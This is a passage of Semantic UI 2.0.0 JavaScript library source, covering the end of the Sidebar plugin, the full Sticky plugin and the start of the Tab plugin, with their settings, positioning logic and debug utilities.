},\n          direction: function(direction) {\n            direction = direction || module.get.direction();\n            $module.addClass(className[direction]);\n          },\n          visible: function() {\n            $module.addClass(className.visible);\n          },\n          overlay: function() {\n            $module.addClass(className.overlay);\n          }\n        },\n        remove: {\n\n          inlineCSS: function() {\n            module.debug('Removing inline css styles', $style);\n            if($style && $style.length > 0) {\n              $style.remove();\n            }\n          },\n\n          // ios scroll on html not document\n          ios: function() {\n            $html.removeClass(className.ios);\n          },\n\n          // context\n          pushed: function() {\n            $context.removeClass(className.pushed);\n          },\n          pushable: function() {\n            $context.removeClass(className.pushable);\n          },\n\n          // sidebar\n          active: function() {\n            $module.removeClass(className.active);\n          },\n          animating: function() {\n            $module.removeClass(className.animating);\n          },\n          transition: function(transition) {\n            transition = transition || module.get.transition();\n            $module.removeClass(transition);\n          },\n          direction: function(direction) {\n            direction = direction || module.get.direction();\n            $module.removeClass(className[direction]);\n          },\n          visible: function() {\n            $module.removeClass(className.visible);\n          },\n          overlay: function() {\n            $module.removeClass(className.overlay);\n          }\n        },\n\n        get: {\n          direction: function() {\n            if($module.hasClass(className.top)) {\n              return className.top;\n            }\n            else if($module.hasClass(className.right)) {\n              return className.right;\n            }\n            else if($module.hasClass(className.bottom)) {\n              return className.bottom;\n            }\n            return className.left;\n          },\n          transition: function() {\n            var\n              direction = module.get.direction(),\n              transition\n            ;\n            transition = ( module.is.mobile() )\n              ? (settings.mobileTransition == 'auto')\n                ? settings.defaultTransition.mobile[direction]\n                : settings.mobileTransition\n              : (settings.transition == 'auto')\n                ? settings.defaultTransition.computer[direction]\n                : settings.transition\n            ;\n            module.verbose('Determined transition', transition);\n            return transition;\n          },\n          transitionEvent: function() {\n            var\n              element     = document.createElement('element'),\n              transitions = {\n                'transition'       :'transitionend',\n                'OTransition'      :'oTransitionEnd',\n                'MozTransition'    :'transitionend',\n                'WebkitTransition' :'webkitTransitionEnd'\n              },\n              transition\n            ;\n            for(transition in transitions){\n              if( element.style[transition] !== undefined ){\n                return transitions[transition];\n              }\n            }\n          }\n        },\n\n        is: {\n\n          ie: function() {\n            var\n              isIE11 = (!(window.ActiveXObject) && 'ActiveXObject' in window),\n              isIE   = ('ActiveXObject' in window)\n            ;\n            return (isIE11 || isIE);\n          },\n\n          ios: function() {\n            var\n              userAgent      = navigator.userAgent,\n              isIOS          = userAgent.match(regExp.ios),\n              isMobileChrome = userAgent.match(regExp.mobileChrome)\n            ;\n            if(isIOS && !isMobileChrome) {\n              module.verbose('Browser was found to be iOS', userAgent);\n              return true;\n            }\n            else {\n              return false;\n            }\n          },\n          mobile: function() {\n            var\n              userAgent    = navigator.userAgent,\n              isMobile     = userAgent.match(regExp.mobile)\n            ;\n            if(isMobile) {\n              module.verbose('Browser was found to be mobile', userAgent);\n              return true;\n            }\n            else {\n              module.verbose('Browser is not mobile, using regular transition', userAgent);\n              return false;\n            }\n          },\n          hidden: function() {\n            return !module.is.visible();\n          },\n          visible: function() {\n            return $module.hasClass(className.visible);\n          },\n          // alias\n          open: function() {\n            return module.is.visible();\n          },\n          closed: function() {\n            return module.is.hidden();\n          },\n          vertical: function() {\n            return $module.hasClass(className.top);\n          },\n          animating: function() {\n            return $context.hasClass(className.animating);\n          },\n          rtl: function () {\n            if(module.cache.rtl === undefined) {\n              module.cache.rtl = ($module.css('direction') == 'rtl');\n            }\n            return module.cache.rtl;\n          }\n        },\n\n        setting: function(name, value) {\n          module.debug('Changing setting', name, value);\n          if( $.isPlainObject(name) ) {\n            $.extend(true, settings, name);\n          }\n          else if(value !== undefined) {\n            settings[name] = value;\n          }\n          else {\n            return settings[name];\n          }\n        },\n        internal: function(name, value) {\n          if( $.isPlainObject(name) ) {\n            $.extend(true, module, name);\n          }\n          else if(value !== undefined) {\n            module[name] = value;\n          }\n          else {\n            return module[name];\n          }\n        },\n        debug: function() {\n          if(settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.debug.apply(console, arguments);\n            }\n          }\n        },\n        verbose: function() {\n          if(settings.verbose && settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.verbose.apply(console, arguments);\n            }\n          }\n        },\n        error: function() {\n          module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');\n          module.error.apply(console, arguments);\n        },\n        performance: {\n          log: function(message) {\n            var\n              currentTime,\n              executionTime,\n              previousTime\n            ;\n            if(settings.performance) {\n              currentTime   = new Date().getTime();\n              previousTime  = time || currentTime;\n              executionTime = currentTime - previousTime;\n              time          = currentTime;\n              performance.push({\n                'Name'           : message[0],\n                'Arguments'      : [].slice.call(message, 1) || '',\n                'Element'        : element,\n                'Execution Time' : executionTime\n              });\n            }\n            clearTimeout(module.performance.timer);\n            module.performance.timer = setTimeout(module.performance.display, 500);\n          },\n          display: function() {\n            var\n              title = settings.name + ':',\n              totalTime = 0\n            ;\n            time = false;\n            clearTimeout(module.performance.timer);\n            $.each(performance, function(index, data) {\n              totalTime += data['Execution Time'];\n            });\n            title += ' ' + totalTime + 'ms';\n            if(moduleSelector) {\n              title += ' \\'' + moduleSelector + '\\'';\n            }\n            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {\n              console.groupCollapsed(title);\n              if(console.table) {\n                console.table(performance);\n              }\n              else {\n                $.each(performance, function(index, data) {\n                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');\n                });\n              }\n              console.groupEnd();\n            }\n            performance = [];\n          }\n        },\n        invoke: function(query, passedArguments, context) {\n          var\n            object = instance,\n            maxDepth,\n            found,\n            response\n          ;\n          passedArguments = passedArguments || queryArguments;\n          context         = element         || context;\n          if(typeof query == 'string' && object !== undefined) {\n            query    = query.split(/[\\. ]/);\n            maxDepth = query.length - 1;\n            $.each(query, function(depth, value) {\n              var camelCaseValue = (depth != maxDepth)\n                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)\n                : query\n              ;\n              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {\n                object = object[camelCaseValue];\n              }\n              else if( object[camelCaseValue] !== undefined ) {\n                found = object[camelCaseValue];\n                return false;\n              }\n              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {\n                object = object[value];\n              }\n              else if( object[value] !== undefined ) {\n                found = object[value];\n                return false;\n              }\n              else {\n                module.error(error.method, query);\n                return false;\n              }\n            });\n          }\n          if ( $.isFunction( found ) ) {\n            response = found.apply(context, passedArguments);\n          }\n          else if(found !== undefined) {\n            response = found;\n          }\n          if($.isArray(returnedValue)) {\n            returnedValue.push(response);\n          }\n          else if(returnedValue !== undefined) {\n            returnedValue = [returnedValue, response];\n          }\n          else if(response !== undefined) {\n            returnedValue = response;\n          }\n          return found;\n        }\n      }\n    ;\n\n    if(methodInvoked) {\n      if(instance === undefined) {\n        module.initialize();\n      }\n      module.invoke(query);\n    }\n    else {\n      if(instance !== undefined) {\n        module.invoke('destroy');\n      }\n      module.initialize();\n    }\n  });\n\n  return (returnedValue !== undefined)\n    ? returnedValue\n    : this\n  ;\n};\n\n$.fn.sidebar.settings = {\n\n  name              : 'Sidebar',\n  namespace         : 'sidebar',\n\n  debug             : false,\n  verbose           : false,\n  performance       : true,\n\n  transition        : 'auto',\n  mobileTransition  : 'auto',\n\n  defaultTransition : {\n    computer: {\n      left   : 'uncover',\n      right  : 'uncover',\n      top    : 'overlay',\n      bottom : 'overlay'\n    },\n    mobile: {\n      left   : 'uncover',\n      right  : 'uncover',\n      top    : 'overlay',\n      bottom : 'overlay'\n    }\n  },\n\n  context           : 'body',\n  exclusive         : false,\n  closable          : true,\n  dimPage           : true,\n  scrollLock        : false,\n  returnScroll      : false,\n  delaySetup        : false,\n\n  duration          : 500,\n\n  onChange          : function(){},\n  onShow            : function(){},\n  onHide            : function(){},\n\n  onHidden          : function(){},\n  onVisible         : function(){},\n\n  className         : {\n    active    : 'active',\n    animating : 'animating',\n    dimmed    : 'dimmed',\n    ios       : 'ios',\n    pushable  : 'pushable',\n    pushed    : 'pushed',\n    right     : 'right',\n    top       : 'top',\n    left      : 'left',\n    bottom    : 'bottom',\n    visible   : 'visible'\n  },\n\n  selector: {\n    fixed   : '.fixed',\n    omitted : 'script, link, style, .ui.modal, .ui.dimmer, .ui.nag, .ui.fixed',\n    pusher  : '.pusher',\n    sidebar : '.ui.sidebar'\n  },\n\n  regExp: {\n    ios          : /(iPad|iPhone|iPod)/g,\n    mobileChrome : /(CriOS)/g,\n    mobile       : /Mobile|iP(hone|od|ad)|Android|BlackBerry|IEMobile|Kindle|NetFront|Silk-Accelerated|(hpw|web)OS|Fennec|Minimo|Opera M(obi|ini)|Blazer|Dolfin|Dolphin|Skyfire|Zune/g\n  },\n\n  error   : {\n    method       : 'The method you called is not defined.',\n    pusher       : 'Had to add pusher element. For optimal performance make sure body content is inside a pusher element',\n    movedSidebar : 'Had to move sidebar. For optimal performance make sure sidebar and pusher are direct children of your body tag',\n    overlay      : 'The overlay setting is no longer supported, use animation: overlay',\n    notFound     : 'There were no elements that matched the specified selector'\n  }\n\n};\n\n\n})( jQuery, window , document );\n\n/*!\n * # Semantic UI 2.0.0 - Sticky\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n;(function ( $, window, document, undefined ) {\n\n\"use strict\";\n\n$.fn.sticky = function(parameters) {\n  var\n    $allModules    = $(this),\n    moduleSelector = $allModules.selector || '',\n\n    time           = new Date().getTime(),\n    performance    = [],\n\n    query          = arguments[0],\n    methodInvoked  = (typeof query == 'string'),\n    queryArguments = [].slice.call(arguments, 1),\n    returnedValue\n  ;\n\n  $allModules\n    .each(function() {\n      var\n        settings              = ( $.isPlainObject(parameters) )\n          ? $.extend(true, {}, $.fn.sticky.settings, parameters)\n          : $.extend({}, $.fn.sticky.settings),\n\n        className             = settings.className,\n        namespace             = settings.namespace,\n        error                 = settings.error,\n\n        eventNamespace        = '.' + namespace,\n        moduleNamespace       = 'module-' + namespace,\n\n        $module               = $(this),\n        $window               = $(window),\n        $scroll               = $(settings.scrollContext),\n        $container,\n        $context,\n\n        selector              = $module.selector || '',\n        instance              = $module.data(moduleNamespace),\n\n        requestAnimationFrame = window.requestAnimationFrame\n          || window.mozRequestAnimationFrame\n          || window.webkitRequestAnimationFrame\n          || window.msRequestAnimationFrame\n          || function(callback) { setTimeout(callback, 0); },\n\n        element         = this,\n        observer,\n        module\n      ;\n\n      module      = {\n\n        initialize: function() {\n\n          module.determineContainer();\n          module.determineContext();\n          module.verbose('Initializing sticky', settings, $container);\n\n          module.save.positions();\n          module.checkErrors();\n          module.bind.events();\n\n          if(settings.observeChanges) {\n            module.observeChanges();\n          }\n          module.instantiate();\n        },\n\n        instantiate: function() {\n          module.verbose('Storing instance of module', module);\n          instance = module;\n          $module\n            .data(moduleNamespace, module)\n          ;\n        },\n\n        destroy: function() {\n          module.verbose('Destroying previous instance');\n          module.reset();\n          if(observer) {\n            observer.disconnect();\n          }\n          $window\n            .off('load' + eventNamespace, module.event.load)\n            .off('resize' + eventNamespace, module.event.resize)\n          ;\n          $scroll\n            .off('scrollchange' + eventNamespace, module.event.scrollchange)\n          ;\n          $module.removeData(moduleNamespace);\n        },\n\n        observeChanges: function() {\n          var\n            context = $context[0]\n          ;\n          if('MutationObserver' in window) {\n            observer = new MutationObserver(function(mutations) {\n              clearTimeout(module.timer);\n              module.timer = setTimeout(function() {\n                module.verbose('DOM tree modified, updating sticky menu', mutations);\n                module.refresh();\n              }, 100);\n            });\n            observer.observe(element, {\n              childList : true,\n              subtree   : true\n            });\n            observer.observe(context, {\n              childList : true,\n              subtree   : true\n            });\n            module.debug('Setting up mutation observer', observer);\n          }\n        },\n\n        determineContainer: function() {\n          $container = $module.offsetParent();\n        },\n\n        determineContext: function() {\n          if(settings.context) {\n            $context = $(settings.context);\n          }\n          else {\n            $context = $container;\n          }\n          if($context.length === 0) {\n            module.error(error.invalidContext, settings.context, $module);\n            return;\n          }\n        },\n\n        checkErrors: function() {\n          if( module.is.hidden() ) {\n            module.error(error.visible, $module);\n          }\n          if(module.cache.element.height > module.cache.context.height) {\n            module.reset();\n            module.error(error.elementSize, $module);\n            return;\n          }\n        },\n\n        bind: {\n          events: function() {\n            $window\n              .on('load' + eventNamespace, module.event.load)\n              .on('resize' + eventNamespace, module.event.resize)\n            ;\n            // pub/sub pattern\n            $scroll\n              .off('scroll' + eventNamespace)\n              .on('scroll' + eventNamespace, module.event.scroll)\n              .on('scrollchange' + eventNamespace, module.event.scrollchange)\n            ;\n          }\n        },\n\n        event: {\n          load: function() {\n            module.verbose('Page contents finished loading');\n            requestAnimationFrame(module.refresh);\n          },\n          resize: function() {\n            module.verbose('Window resized');\n            requestAnimationFrame(module.refresh);\n          },\n          scroll: function() {\n            requestAnimationFrame(function() {\n              $scroll.triggerHandler('scrollchange' + eventNamespace, $scroll.scrollTop() );\n            });\n          },\n          scrollchange: function(event, scrollPosition) {\n            module.stick(scrollPosition);\n            settings.onScroll.call(element);\n          }\n        },\n\n        refresh: function(hardRefresh) {\n          module.reset();\n          if(!settings.context) {\n            module.determineContext();\n          }\n          if(hardRefresh) {\n            module.determineContainer();\n          }\n          module.save.positions();\n          module.stick();\n          settings.onReposition.call(element);\n        },\n\n        supports: {\n          sticky: function() {\n            var\n              $element = $('<div/>'),\n              element = $element[0]\n            ;\n            $element.addClass(className.supported);\n            return($element.css('position').match('sticky'));\n          }\n        },\n\n        save: {\n          lastScroll: function(scroll) {\n            module.lastScroll = scroll;\n          },\n          elementScroll: function(scroll) {\n            module.elementScroll = scroll;\n          },\n          positions: function() {\n            var\n              window = {\n                height: $window.height()\n              },\n              element = {\n                margin: {\n                  top    : parseInt($module.css('margin-top'), 10),\n                  bottom : parseInt($module.css('margin-bottom'), 10),\n                },\n                offset : $module.offset(),\n                width  : $module.outerWidth(),\n                height : $module.outerHeight()\n              },\n              context = {\n                offset        : $context.offset(),\n                height        : $context.outerHeight(),\n                bottomPadding : parseInt($context.css('padding-bottom'), 10)\n              },\n              container = {\n                height: $container.outerHeight()\n              }\n            ;\n            module.cache = {\n              fits : ( element.height < window.height ),\n              window: {\n                height: window.height\n              },\n              element: {\n                margin : element.margin,\n                top    : element.offset.top - element.margin.top,\n                left   : element.offset.left,\n                width  : element.width,\n                height : element.height,\n                bottom : element.offset.top + element.height\n              },\n              context: {\n                top           : context.offset.top,\n                height        : context.height,\n                bottomPadding : context.bottomPadding,\n                bottom        : context.offset.top + context.height - context.bottomPadding\n              }\n            };\n            module.set.containerSize();\n            module.set.size();\n            module.stick();\n            module.debug('Caching element positions', module.cache);\n          }\n        },\n\n        get: {\n          direction: function(scroll) {\n            var\n              direction = 'down'\n            ;\n            scroll = scroll || $scroll.scrollTop();\n            if(module.lastScroll !== undefined) {\n              if(module.lastScroll < scroll) {\n                direction = 'down';\n              }\n              else if(module.lastScroll > scroll) {\n                direction = 'up';\n              }\n            }\n            return direction;\n          },\n          scrollChange: function(scroll) {\n            scroll = scroll || $scroll.scrollTop();\n            return (module.lastScroll)\n              ? (scroll - module.lastScroll)\n              : 0\n            ;\n          },\n          currentElementScroll: function() {\n            if(module.elementScroll) {\n              return module.elementScroll;\n            }\n            return ( module.is.top() )\n              ? Math.abs(parseInt($module.css('top'), 10))    || 0\n              : Math.abs(parseInt($module.css('bottom'), 10)) || 0\n            ;\n          },\n\n          elementScroll: function(scroll) {\n            scroll = scroll || $scroll.scrollTop();\n            var\n              element        = module.cache.element,\n              window         = module.cache.window,\n              delta          = module.get.scrollChange(scroll),\n              maxScroll      = (element.height - window.height + settings.offset),\n              elementScroll  = module.get.currentElementScroll(),\n              possibleScroll = (elementScroll + delta)\n            ;\n            if(module.cache.fits || possibleScroll < 0) {\n              elementScroll = 0;\n            }\n            else if(possibleScroll > maxScroll ) {\n              elementScroll = maxScroll;\n            }\n            else {\n              elementScroll = possibleScroll;\n            }\n            return elementScroll;\n          }\n        },\n\n        remove: {\n          lastScroll: function() {\n            delete module.lastScroll;\n          },\n          elementScroll: function(scroll) {\n            delete module.elementScroll;\n          },\n          offset: function() {\n            $module.css('margin-top', '');\n          }\n        },\n\n        set: {\n          offset: function() {\n            module.verbose('Setting offset on element', settings.offset);\n            $module\n              .css('margin-top', settings.offset)\n            ;\n          },\n          containerSize: function() {\n            var\n              tagName = $container.get(0).tagName\n            ;\n            if(tagName === 'HTML' || tagName == 'body') {\n              // this can trigger for too many reasons\n              //module.error(error.container, tagName, $module);\n              module.determineContainer();\n            }\n            else {\n              if( Math.abs($container.outerHeight() - module.cache.context.height) > settings.jitter) {\n                module.debug('Context has padding, specifying exact height for container', module.cache.context.height);\n                $container.css({\n                  height: module.cache.context.height\n                });\n              }\n            }\n          },\n          minimumSize: function() {\n            var\n              element   = module.cache.element\n            ;\n            $container\n              .css('min-height', element.height)\n            ;\n          },\n          scroll: function(scroll) {\n            module.debug('Setting scroll on element', scroll);\n            if(module.elementScroll == scroll) {\n              return;\n            }\n            if( module.is.top() ) {\n              $module\n                .css('bottom', '')\n                .css('top', -scroll)\n              ;\n            }\n            if( module.is.bottom() ) {\n              $module\n                .css('top', '')\n                .css('bottom', scroll)\n              ;\n            }\n          },\n          size: function() {\n            if(module.cache.element.height !== 0 && module.cache.element.width !== 0) {\n              $module\n                .css({\n                  width  : module.cache.element.width,\n                  height : module.cache.element.height\n                })\n              ;\n            }\n          }\n        },\n\n        is: {\n          top: function() {\n            return $module.hasClass(className.top);\n          },\n          bottom: function() {\n            return $module.hasClass(className.bottom);\n          },\n          initialPosition: function() {\n            return (!module.is.fixed() && !module.is.bound());\n          },\n          hidden: function() {\n            return (!$module.is(':visible'));\n          },\n          bound: function() {\n            return $module.hasClass(className.bound);\n          },\n          fixed: function() {\n            return $module.hasClass(className.fixed);\n          }\n        },\n\n        stick: function(scroll) {\n          var\n            cachedPosition = scroll || $scroll.scrollTop(),\n            cache          = module.cache,\n            fits           = cache.fits,\n            element        = cache.element,\n            window         = cache.window,\n            context        = cache.context,\n            offset         = (module.is.bottom() && settings.pushing)\n              ? settings.bottomOffset\n              : settings.offset,\n            scroll         = {\n              top    : cachedPosition + offset,\n              bottom : cachedPosition + offset + window.height\n            },\n            direction      = module.get.direction(scroll.top),\n            elementScroll  = (fits)\n              ? 0\n              : module.get.elementScroll(scroll.top),\n\n            // shorthand\n            doesntFit      = !fits,\n            elementVisible = (element.height !== 0)\n          ;\n\n          if(elementVisible) {\n\n            if( module.is.initialPosition() ) {\n              if(scroll.top > context.bottom) {\n                module.debug('Element bottom of container');\n                module.bindBottom();\n              }\n              else if(scroll.top > element.top) {\n                module.debug('Element passed, fixing element to page');\n                module.fixTop();\n              }\n            }\n            else if( module.is.fixed() ) {\n\n              // currently fixed top\n              if( module.is.top() ) {\n                if( scroll.top < element.top ) {\n                  module.debug('Fixed element reached top of container');\n                  module.setInitialPosition();\n                }\n                else if( (element.height + scroll.top - elementScroll) > context.bottom ) {\n                  module.debug('Fixed element reached bottom of container');\n                  module.bindBottom();\n                }\n                // scroll element if larger than screen\n                else if(doesntFit) {\n                  module.set.scroll(elementScroll);\n                }\n              }\n\n              // currently fixed bottom\n              else if(module.is.bottom() ) {\n\n                // top edge\n                if( (scroll.bottom - element.height) < element.top) {\n                  module.debug('Bottom fixed rail has reached top of container');\n                  module.setInitialPosition();\n                }\n                // bottom edge\n                else if(scroll.bottom > context.bottom) {\n                  module.debug('Bottom fixed rail has reached bottom of container');\n                  module.bindBottom();\n                }\n                // scroll element if larger than screen\n                else if(doesntFit) {\n                  module.set.scroll(elementScroll);\n                }\n\n              }\n            }\n            else if( module.is.bottom() ) {\n              if(settings.pushing) {\n                if(module.is.bound() && scroll.bottom < context.bottom ) {\n                  module.debug('Fixing bottom attached element to bottom of browser.');\n                  module.fixBottom();\n                }\n              }\n              else {\n                if(module.is.bound() && (scroll.top < context.bottom - element.height) ) {\n                  module.debug('Fixing bottom attached element to top of browser.');\n                  module.fixTop();\n                }\n              }\n            }\n          }\n\n          // save current scroll for next run\n          module.save.lastScroll(scroll.top);\n          module.save.elementScroll(elementScroll);\n        },\n\n        bindTop: function() {\n          module.debug('Binding element to top of parent container');\n          module.remove.offset();\n          $module\n            .css({\n              left         : '',\n              top          : '',\n              marginBottom : ''\n            })\n            .removeClass(className.fixed)\n            .removeClass(className.bottom)\n            .addClass(className.bound)\n            .addClass(className.top)\n          ;\n          settings.onTop.call(element);\n          settings.onUnstick.call(element);\n        },\n        bindBottom: function() {\n          module.debug('Binding element to bottom of parent container');\n          module.remove.offset();\n          $module\n            .css({\n              left         : '',\n              top          : '',\n              marginBottom : module.cache.context.bottomPadding\n            })\n            .removeClass(className.fixed)\n            .removeClass(className.top)\n            .addClass(className.bound)\n            .addClass(className.bottom)\n          ;\n          settings.onBottom.call(element);\n          settings.onUnstick.call(element);\n        },\n\n        setInitialPosition: function() {\n          module.unfix();\n          module.unbind();\n        },\n\n\n        fixTop: function() {\n          module.debug('Fixing element to top of page');\n          module.set.minimumSize();\n          module.set.offset();\n          $module\n            .css({\n              left         : module.cache.element.left,\n              bottom       : '',\n              marginBottom : ''\n            })\n            .removeClass(className.bound)\n            .removeClass(className.bottom)\n            .addClass(className.fixed)\n            .addClass(className.top)\n          ;\n          settings.onStick.call(element);\n        },\n\n        fixBottom: function() {\n          module.debug('Sticking element to bottom of page');\n          module.set.minimumSize();\n          module.set.offset();\n          $module\n            .css({\n              left         : module.cache.element.left,\n              bottom       : '',\n              marginBottom : ''\n            })\n            .removeClass(className.bound)\n            .removeClass(className.top)\n            .addClass(className.fixed)\n            .addClass(className.bottom)\n          ;\n          settings.onStick.call(element);\n        },\n\n        unbind: function() {\n          module.debug('Removing absolute position on element');\n          module.remove.offset();\n          $module\n            .removeClass(className.bound)\n            .removeClass(className.top)\n            .removeClass(className.bottom)\n          ;\n        },\n\n        unfix: function() {\n          module.debug('Removing fixed position on element');\n          module.remove.offset();\n          $module\n            .removeClass(className.fixed)\n            .removeClass(className.top)\n            .removeClass(className.bottom)\n          ;\n          settings.onUnstick.call(element);\n        },\n\n        reset: function() {\n          module.debug('Reseting elements position');\n          module.unbind();\n          module.unfix();\n          module.resetCSS();\n          module.remove.offset();\n          module.remove.lastScroll();\n        },\n\n        resetCSS: function() {\n          $module\n            .css({\n              width  : '',\n              height : ''\n            })\n          ;\n          $container\n            .css({\n              height: ''\n            })\n          ;\n        },\n\n        setting: function(name, value) {\n          if( $.isPlainObject(name) ) {\n            $.extend(true, settings, name);\n          }\n          else if(value !== undefined) {\n            settings[name] = value;\n          }\n          else {\n            return settings[name];\n          }\n        },\n        internal: function(name, value) {\n          if( $.isPlainObject(name) ) {\n            $.extend(true, module, name);\n          }\n          else if(value !== undefined) {\n            module[name] = value;\n          }\n          else {\n            return module[name];\n          }\n        },\n        debug: function() {\n          if(settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.debug.apply(console, arguments);\n            }\n          }\n        },\n        verbose: function() {\n          if(settings.verbose && settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.verbose.apply(console, arguments);\n            }\n          }\n        },\n        error: function() {\n          module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');\n          module.error.apply(console, arguments);\n        },\n        performance: {\n          log: function(message) {\n            var\n              currentTime,\n              executionTime,\n              previousTime\n            ;\n            if(settings.performance) {\n              currentTime   = new Date().getTime();\n              previousTime  = time || currentTime;\n              executionTime = currentTime - previousTime;\n              time          = currentTime;\n              performance.push({\n                'Name'           : message[0],\n                'Arguments'      : [].slice.call(message, 1) || '',\n                'Element'        : element,\n                'Execution Time' : executionTime\n              });\n            }\n            clearTimeout(module.performance.timer);\n            module.performance.timer = setTimeout(module.performance.display, 0);\n          },\n          display: function() {\n            var\n              title = settings.name + ':',\n              totalTime = 0\n            ;\n            time = false;\n            clearTimeout(module.performance.timer);\n            $.each(performance, function(index, data) {\n              totalTime += data['Execution Time'];\n            });\n            title += ' ' + totalTime + 'ms';\n            if(moduleSelector) {\n              title += ' \\'' + moduleSelector + '\\'';\n            }\n            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {\n              console.groupCollapsed(title);\n              if(console.table) {\n                console.table(performance);\n              }\n              else {\n                $.each(performance, function(index, data) {\n                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');\n                });\n              }\n              console.groupEnd();\n            }\n            performance = [];\n          }\n        },\n        invoke: function(query, passedArguments, context) {\n          var\n            object = instance,\n            maxDepth,\n            found,\n            response\n          ;\n          passedArguments = passedArguments || queryArguments;\n          context         = element         || context;\n          if(typeof query == 'string' && object !== undefined) {\n            query    = query.split(/[\\. ]/);\n            maxDepth = query.length - 1;\n            $.each(query, function(depth, value) {\n              var camelCaseValue = (depth != maxDepth)\n                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)\n                : query\n              ;\n              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {\n                object = object[camelCaseValue];\n              }\n              else if( object[camelCaseValue] !== undefined ) {\n                found = object[camelCaseValue];\n                return false;\n              }\n              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {\n                object = object[value];\n              }\n              else if( object[value] !== undefined ) {\n                found = object[value];\n                return false;\n              }\n              else {\n                return false;\n              }\n            });\n          }\n          if ( $.isFunction( found ) ) {\n            response = found.apply(context, passedArguments);\n          }\n          else if(found !== undefined) {\n            response = found;\n          }\n          if($.isArray(returnedValue)) {\n            returnedValue.push(response);\n          }\n          else if(returnedValue !== undefined) {\n            returnedValue = [returnedValue, response];\n          }\n          else if(response !== undefined) {\n            returnedValue = response;\n          }\n          return found;\n        }\n      };\n\n      if(methodInvoked) {\n        if(instance === undefined) {\n          module.initialize();\n        }\n        module.invoke(query);\n      }\n      else {\n        if(instance !== undefined) {\n          instance.invoke('destroy');\n        }\n        module.initialize();\n      }\n    })\n  ;\n\n  return (returnedValue !== undefined)\n    ? returnedValue\n    : this\n  ;\n};\n\n$.fn.sticky.settings = {\n\n  name           : 'Sticky',\n  namespace      : 'sticky',\n\n  debug          : false,\n  verbose        : true,\n  performance    : true,\n\n  // whether to stick in the opposite direction on scroll up\n  pushing        : false,\n\n  context        : false,\n\n  // Context to watch scroll events\n  scrollContext  : window,\n\n  // Offset to adjust scroll\n  offset         : 0,\n\n  // Offset to adjust scroll when attached to bottom of screen\n  bottomOffset   : 0,\n\n  jitter         : 5, // will only set container height if difference between context and container is larger than this number\n\n  // Whether to automatically observe changes with Mutation Observers\n  observeChanges : false,\n\n  // Called when position is recalculated\n  onReposition   : function(){},\n\n  // Called on each scroll\n  onScroll       : function(){},\n\n  // Called when element is stuck to viewport\n  onStick        : function(){},\n\n  // Called when element is unstuck from viewport\n  onUnstick      : function(){},\n\n  // Called when element reaches top of context\n  onTop          : function(){},\n\n  // Called when element reaches bottom of context\n  onBottom       : function(){},\n\n  error         : {\n    container      : 'Sticky element must be inside a relative container',\n    visible        : 'Element is hidden, you must call refresh after element becomes visible',\n    method         : 'The method you called is not defined.',\n    invalidContext : 'Context specified does not exist',\n    elementSize    : 'Sticky element is larger than its container, cannot create sticky.'\n  },\n\n  className : {\n    bound     : 'bound',\n    fixed     : 'fixed',\n    supported : 'native',\n    top       : 'top',\n    bottom    : 'bottom'\n  }\n\n};\n\n})( jQuery, window , document );\n/*!\n * # Semantic UI 2.0.0 - Tab\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n;(function ($, window, document, undefined) {\n\n\"use strict\";\n\n$.fn.tab = function(parameters) {\n\n  var\n    // use window context if none specified\n    $allModules     = $.isFunction(this)\n        ? $(window)\n        : $(this),\n\n    moduleSelector  = $allModules.selector || '',\n    time            = new Date().getTime(),\n    performance     = [],\n\n    query           = arguments[0],\n    methodInvoked   = (typeof query == 'string'),\n    queryArguments  = [].slice.call(arguments, 1),\n\n    initializedHistory = false,\n    returnedValue\n  ;\n\n  $allModules\n    .each(function() {\n      var\n\n        settings        = ( $.isPlainObject(parameters) )\n          ? $.extend(true, {}, $.fn.tab.settings, parameters)\n          : $.extend({}, $.fn.tab.settings),\n\n        className       = settings.className,\n        metadata        = settings.metadata,\n        selector        = settings.selector,\n        error           = settings.error,\n\n        eventNamespace  = '.' + settings.namespace,\n        moduleNamespace = 'module-' + settings.namespace,\n\n        $module         = $(this),\n        $context,\n        $tabs,\n\n        cache           = {},\n        firstLoad       = true,\n        recursionDepth  = 0,\n        element         = this,\n        instance        = $module.data(moduleNamespace),\n\n        activeTabPath,\n        parameterArray,\n        module,\n\n        historyEvent\n\n      ;\n\n      module = {\n\n        initialize: function() {\n          module.debug('Initializing tab menu item', $module);\n          module.fix.callbacks();\n          module.determineTabs();\n\n          module.debug('Determining tabs', settings.context, $tabs);\n          // set up automatic routing\n          if(settings.auto) {\n            module.set.auto();\n          }\n          module.bind.events();\n\n          if(settings.history && !initializedHistory) {\n            module.initializeHistory();\n            initializedHistory = true;\n          }\n\n          module.instantiate();\n        },\n\n        instantiate: function () {\n          module.verbose('Storing instance of module', module);\n          instance = module;\n          $module\n            .data(moduleNamespace, module)\n          ;\n        },\n\n        destroy: function() {\n          module.debug('Destroying tabs', $module);\n          $module\n            .removeData(moduleNamespace)\n            .off(eventNamespace)\n          ;\n        },\n\n        bind: {\n          events: function() 